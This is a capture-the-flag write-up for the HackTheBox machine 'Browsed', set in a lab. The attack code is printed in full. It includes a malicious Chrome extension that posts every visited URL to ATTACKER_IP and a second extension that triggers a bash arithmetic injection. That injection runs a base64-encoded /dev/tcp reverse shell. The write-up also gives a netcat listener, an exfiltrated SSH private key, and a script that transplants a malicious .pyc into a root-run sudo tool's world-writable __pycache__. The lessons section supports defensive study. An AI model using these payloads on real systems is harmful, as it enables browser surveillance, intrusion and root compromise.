HTB: Browsed Writeup
Browsed - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Browsed |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | N/A |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Browsed is a medium-difficulty Linux machine that demonstrates the dangers of allowing users to upload browser extensions without proper sandboxing. The attack chain begins by creating a malicious Chrome extension to spy on a developer’s browsing activity, revealing an internal Gitea instance. Through source code analysis of a Flask application, we discover a command injection vulnerability in a bash script that uses the arithmetic comparison operator -eq, allowing arbitrary code execution. Since the Flask service runs only on localhost, we exploit it via a second malicious extension executed in the developer’s browser context. After obtaining user-level access, privilege escalation is achieved by manipulating Python bytecode in a writable __pycache__ directory, allowing us to inject arbitrary code into a root-privileged script that imports the compromised module.
TL;DR: Spy on developer → Find internal Gitea → Exploit bash arithmetic injection → Reverse shell as larry → Replace .pyc bytecode → Root shell.
Reconnaissance
Port Scanning
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.105 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -sC -sV 10.129.244.79Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.1480/tcp open http nginx 1.24.0 (Ubuntu)Two services are exposed: SSH on port 22 and a web server on port 80. The HTTP service is the primary attack surface.
Service Enumeration
HTTP (Port 80):
Visiting the web application reveals a company website dedicated to browser extensions. The site prominently features an upload functionality that accepts Chrome extensions as zip files. A critical detail from the site is that developers using Chrome v134 will review and test uploaded extensions. Chrome v134 relies on Manifest v3 specifications for extensions, which is essential for crafting our malicious payloads.
Vulnerability Assessment
Identified Vulnerabilities:
- Unsafe Extension Installation - The application allows uploading arbitrary Chrome extensions that are automatically tested by developers, creating a trust exploitation vector.
- Command Injection in Bash Script - The Flask application’s
routines.shscript uses the-eqoperator with user input in an arithmetic context, allowing command execution through bash parameter expansion. - Insecure Python Bytecode Handling - The
__pycache__directory containing compiled Python bytecode is world-writable, allowing low-privileged users to replace.pycfiles executed by root-level scripts. - Localhost-Bound Services - Internal Flask services on localhost are accessible via browser context of developers.
Initial Foothold
Exploitation Path: Browser Extension Reconnaissance
Step 1: Create a Spying Extension
Create a manifest.json file that defines a Manifest v3 extension:
{ "manifest_version": 3, "name": "Parallel Request Sender", "version": "1.0", "description": "Spyer extension to log visited websites", "permissions": [ "declarativeNetRequest", "declarativeNetRequestWithHostAccess", "storage", "tabs", "webRequest" ], "host_permissions": [ "<all_urls>" ], "background": { "service_worker": "background.js" }}Create the background.js file that intercepts all network requests:
// Log network requestschrome.webRequest.onBeforeRequest.addListener( function (details) { // Check if the request is not already made to our host, // since it would keep creating requests infinitely if (!details.url.includes("http://ATTACKER_IP")) { // Send a parallel request back to us fetch("http://ATTACKER_IP:4444", { method: "POST", headers: { "Content-Type": "application/json", }, body: JSON.stringify({ originalUrl: details.url, timestamp: new Date().toISOString(), }), mode: 'no-cors', }) } }, { urls: ["<all_urls>"] } // Monitor all URLs);Package the extension into a zip file:
zip addon.zip manifest.json background.jsStep 2: Set Up Request Listener
Create a Node.js server (server.js) to capture incoming HTTP POST requests:
const http = require('http');http.createServer((req, res) => { let body = ''; req.on('data', chunk => body += chunk); req.on('end', () => { console.log(`\n--- ${req.method} ${req.url} ---\n${JSON.stringify(req.headers, null, 2)}\nBody:\n${body}`); res.writeHead(200, { 'Content-Type': 'text/plain' }); res.end('OK\n'); });}).listen(4444, () => console.log('Server listening on port 4444'));Start the server:
node server.jsStep 3: Upload Extension and Monitor Activity
Upload the addon.zip file through the web application. After a short delay, incoming requests appear on the listener:
--- POST / ---{ "host": "10.10.16.18:4444", "connection": "keep-alive", "user-agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36", ...}Body:{"originalUrl":"http://browsedinternals.htb/assets/img/logo.svg","timestamp":"2026-03-19T13:42:53.579Z"}Step 4: Access Internal Gitea Instance
The captured requests reveal an internal hostname: browsedinternals.htb. Add this to your /etc/hosts file:
echo "10.129.244.79 browsedinternals.htb" | sudo tee -a /etc/hostsAccessing http://browsedinternals.htb reveals a Gitea instance with a public repository named MarkdownPreview. Clone the repository to analyze the source code:
git clone http://browsedinternals.htb/larry/markdownPreview.gitcd markdownPreviewExploitation Path: Command Injection Discovery
Step 5: Analyze Flask Application
Reviewing app.py reveals the vulnerable /routines/<rid> endpoint:
@app.route('/routines/<rid>')def routines(rid): # Call the script that manages the routines # Run bash script with the input as an argument (NO shell) subprocess.run(["./routines.sh", rid]) return "Routine executed !"While subprocess.run() is called safely without shell=True, the user input rid is passed directly to routines.sh. Examining the bash script reveals the vulnerability:
if [[ "$1" -eq 0 ]]; thenThe -eq operator forces bash to interpret input as an arithmetic expression, allowing command substitution via $() during parsing—even without explicit eval. This is a subtle but dangerous edge case.
Step 6: Verify Command Injection
Test the vulnerability locally:
./routines.sh 'x[$(cat /etc/passwd > /proc/$$/fd/1)]'Output confirms command execution:
root:x:0:0:root:/root:/usr/bin/zshdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin:/usr/sbin/nologin...Exploitation Path: Remote Code Execution via Extension
Step 7: Create Exploitation Extension
Since the Flask application runs only on 127.0.0.1, direct exploitation isn’t possible. However, the developer’s browser has localhost access. Create a second malicious extension that executes the vulnerable endpoint.
First, encode a reverse shell payload in base64:
echo -n "bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1" | base64Output:
YmFzaCAtaSA+JiAvZGV2L3RjcC9BUFRBQ0tFUl9JUC85MDAxIDA+JjE=Create a new manifest.json (reuse from Step 1):
{ "manifest_version": 3, "name": "Parallel Request Sender", "version": "1.0", "description": "Spyer extension to log visited websites", "permissions": [ "declarativeNetRequest", "declarativeNetRequestWithHostAccess", "storage", "tabs", "webRequest" ], "host_permissions": [ "<all_urls>" ], "background": { "service_worker": "background.js" }}Create a new background.js with the payload:
function onExtensionLoaded() { fetch('http://127.0.0.1:5000/routines/x[$(echo YmFzaCAtaSA+JiAvZGV2L3RjcC9BUFRBQ0tFUl9JUC85MDAxIDA+JjE= | base64 -d|bash)]');}onExtensionLoaded();Package the extension:
zip pwn.zip manifest.json background.jsStep 8: Establish Reverse Shell
Set up a netcat listener:
nc -nvlp 9001Upload the pwn.zip file to the web application. When the developer installs the extension, the background service worker executes immediately, triggering the vulnerable endpoint and delivering the reverse shell:
$ nc -nvlp 9001listening on [any] 9001 ...connect to [10.10.16.18] from (UNKNOWN) [10.129.244.79] 51490bash: cannot set terminal process group (1416): Inappropriate ioctl for devicebash: no job control in this shell
larry@browsed:~/markdownPreview$ iduid=1000(larry) gid=1000(larry) groups=1000(larry)Step 9: Stabilize Access with SSH
Extract the user’s SSH private key:
cat ~/.ssh/id_ed25519Output:
-----BEGIN OPENSSH PRIVATE KEY-----b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZWQyNTUxOQAAACDZZIZPBRF8FzQjntOnbdwYiSLYtJ2VkBwQAS8vIKtzrwAAAJAXb7KHF2+yhwAAAAtzc2gtZWQyNTUxOQAAACDZZIZPBRF8FzQjntOnbdwYiSLYtJ2VkBwQAS8vIKtzrwAAAEBRIok98/uzbzLs/MWsrygG9zTsVa9GePjT52KjU6LoJdlkhk8FEXwXNCOe06dt3BiJIti0nZWQHBABLy8gq3OvAAAADWxhcnJ5QGJyb3dzZWQ=-----END OPENSSH PRIVATE KEY-----Save the key locally and set proper permissions:
cat > id_larry.rsa << 'EOF'-----BEGIN OPENSSH PRIVATE KEY-----b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZWQyNTUxOQAAACDZZIZPBRF8FzQjntOnbdwYiSLYtJ2VkBwQAS8vIKtzrwAAAJAXb7KHF2+yhwAAAAtzc2gtZWQyNTUxOQAAACDZZIZPBRF8FzQjntOnbdwYiSLYtJ2VkBwQAS8vIKtzrwAAAEBRIok98/uzbzLs/MWsrygG9zTsVa9GePjT52KjU6LoJdlkhk8FEXwXNCOe06dt3BiJIti0nZWQHBABLy8gq3OvAAAADWxhcnJ5QGJyb3dzZWQ=-----END OPENSSH PRIVATE KEY-----EOF
chmod 600 id_larry.rsaConnect via SSH:
ssh -i id_larry.rsa larry@10.129.244.79Verify access:
larry@browsed:~$ iduid=1000(larry) gid=1000(larry) groups=1000(larry)Retrieve the user flag:
cat /home/larry/user.txtPrivilege Escalation
Enumeration
Check sudo privileges:
sudo -lOutput:
Matching Defaults entries for larry on browsed: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User larry may run the following commands on browsed: (root) NOPASSWD: /opt/extensiontool/extension_tool.pyThe user can execute /opt/extensiontool/extension_tool.py as root without a password. Examine the directory:
ls -la /opt/extensiontool/Output:
total 24drwxr-xr-x 4 root root 4096 Dec 11 07:54 .drwxr-xr-x 4 root root 4096 Aug 17 2025 ..drwxrwxr-x 5 root root 4096 Mar 23 2025 extensions-rwxrwxr-x 1 root root 2739 Mar 27 2025 extension_tool.py-rw-rw-r-- 1 root root 1245 Mar 23 2025 extension_utils.pydrwxrwxrwx 2 root root 4096 Dec 11 07:57 __pycache__Critical Finding: The __pycache__ directory is world-writable (mode 777). This is where Python caches compiled bytecode (.pyc files).
Vulnerability Analysis
Examine the main script:
cat /opt/extensiontool/extension_tool.pyThe script imports from a local module:
#!/usr/bin/python3.12import jsonimport osfrom argparse import ArgumentParserfrom extension_utils import validate_manifest, clean_temp_files # <-- LOCAL IMPORTimport zipfileView the imported module:
cat /opt/extensiontool/extension_utils.pyThe module defines functions like validate_manifest() and clean_temp_files() that are called during script execution. Python automatically caches these modules as .pyc files in __pycache__. If we can replace the cached bytecode, we can inject arbitrary code that executes with root privileges.
Exploitation: Python Bytecode Injection
Step 1: Generate Legitimate .pyc Header
First, trigger the script with sudo to ensure a valid .pyc file is created:
sudo /opt/extensiontool/extension_tool.pyThis generates a .pyc file with a valid Python 3.12 header. Check the cache:
ls -al /opt/extensiontool/__pycache__/Output:
total 12drwxrwxrwx 2 root root 4096 Mar 20 12:11 .drwxr-xr-x 4 root root 4096 Dec 11 07:54 ..-rw-r--r-- 1 root root 1880 Mar 20 12:11 extension_utils.cpython-312.pycStep 2: Create Malicious Module
Create a minimal Python module in /tmp/ with the functions we want to override:
cat > /tmp/evil_module.py << 'EOF'def validate_manifest(path): import os os.system("/bin/bash")
def clean_temp_files(path): import os os.system("/bin/bash")EOFCompile it to bytecode:
python3 -m py_compile /tmp/evil_module.pyThis creates /tmp/__pycache__/evil_module.cpython-312.pyc.
Step 3: Transplant .pyc Header
Python .pyc files have a 16-byte header containing version and timestamp information. If this doesn’t match, Python may reject the file. Create a script to transplant the header from the legitimate file:
cat > /tmp/create_header.py << 'EOF'def transplant_header(good_pyc, evil_pyc, output_pyc): with open(good_pyc, 'rb') as f: good_header = f.read(16)
with open(evil_pyc, 'rb') as f: evil_data = f.read()
new_pyc = good_header + evil_data[16:] import os os.system(f"rm {output_pyc}") with open(output_pyc, 'wb') as f: f.write(new_pyc)
print(f"[+] Transplanted header from {good_pyc} into {evil_pyc}, saved as {output_pyc}")
transplant_header( '/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc', '/tmp/__pycache__/evil_module.cpython-312.pyc', '/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc')EOFRun the script:
python3 /tmp/create_header.pyOutput:
rm: remove write-protected regular file '/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc'? y[+] Transplanted header from /opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc into /tmp/__pycache__/evil_module.cpython-312.pyc, saved as /opt/extensiontool/__pycache__/extension_utils.cpython-312.pycStep 4: Gain Root Access
Execute the privileged script. When it imports the module, Python loads our malicious .pyc file, triggering arbitrary code execution as root:
sudo /opt/extensiontool/extension_tool.py --ext FontifyA root shell is spawned:
root@browsed:/tmp/__pycache__# iduid=0(root) gid=0(root) groups=0(root)Step 5: Retrieve Root Flag
cat /root/root.txtAttack Chain Summary
Create Spying Extension → Upload & Monitor → Discover Internal Gitea ↓ Analyze Source Code → Find Command Injection in routines.sh ↓ Create Exploitation Extension → Deliver via Developer's Browser ↓ Reverse Shell as larry@browsed ↓ Discover Writable __pycache__ Directory ↓ Create Malicious .pyc → Transplant Header → Replace Bytecode ↓ Execute Sudo Script → Root ShellTools Used
| Tool | Purpose |
|---|---|
nmap | Network reconnaissance and port scanning |
git | Cloning and analyzing the Gitea repository |
curl/fetch | HTTP requests for extension communication |
node.js | Running HTTP server to capture requests |
python3 | Python bytecode compilation and manipulation |
netcat | Establishing reverse shell connections |
ssh | Secure shell access with private key authentication |
zip | Packaging malicious Chrome extensions |
Key Learnings
Techniques Practiced
- Chrome Extension Manifest v3 - Building modern extensions with service workers instead of background pages
- Network Interception - Exploiting trusted client-side code to discover internal infrastructure
- Bash Arithmetic Injection - Understanding how
-eqoperator in conditional statements enables command execution - Python Bytecode Manipulation - Crafting malicious
.pycfiles by header transplantation - Privilege Escalation via Module Hijacking - Exploiting writable cache directories to inject code into privileged Python processes
- Localhost Bypass - Using browser context to access localhost-only services
Lessons Learned
-
Trust Boundaries Matter - Allowing users to upload and run code (even for “testing”) should never be done without strict sandboxing. The developer’s browser became an attack vector into internal systems.
-
Bash Arithmetic Edge Cases Are Dangerous - The
-eqoperator forcing arithmetic evaluation is a subtle but critical vulnerability. Always validate and sanitize input regardless of how it’s used. -
Cache Directories Require Strict Permissions - Bytecode caches like
__pycache__should never be world-writable. Python will execute whatever.pycfile it finds, regardless of source. -
Local Module Imports Are a Risk - Relative imports (like
from extension_utils import ...) in privileged scripts create a hijacking opportunity if the import path can be controlled or manipulated. -
Internal Services Aren’t Always Private - Services bound to 127.0.0.1 can still be accessed by code running in the user’s browser context, requiring defense-in-depth approaches.
-
Chrome Extensions Are Powerful - Extensions have broad network access and persistent execution capability—only install extensions from trusted sources.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>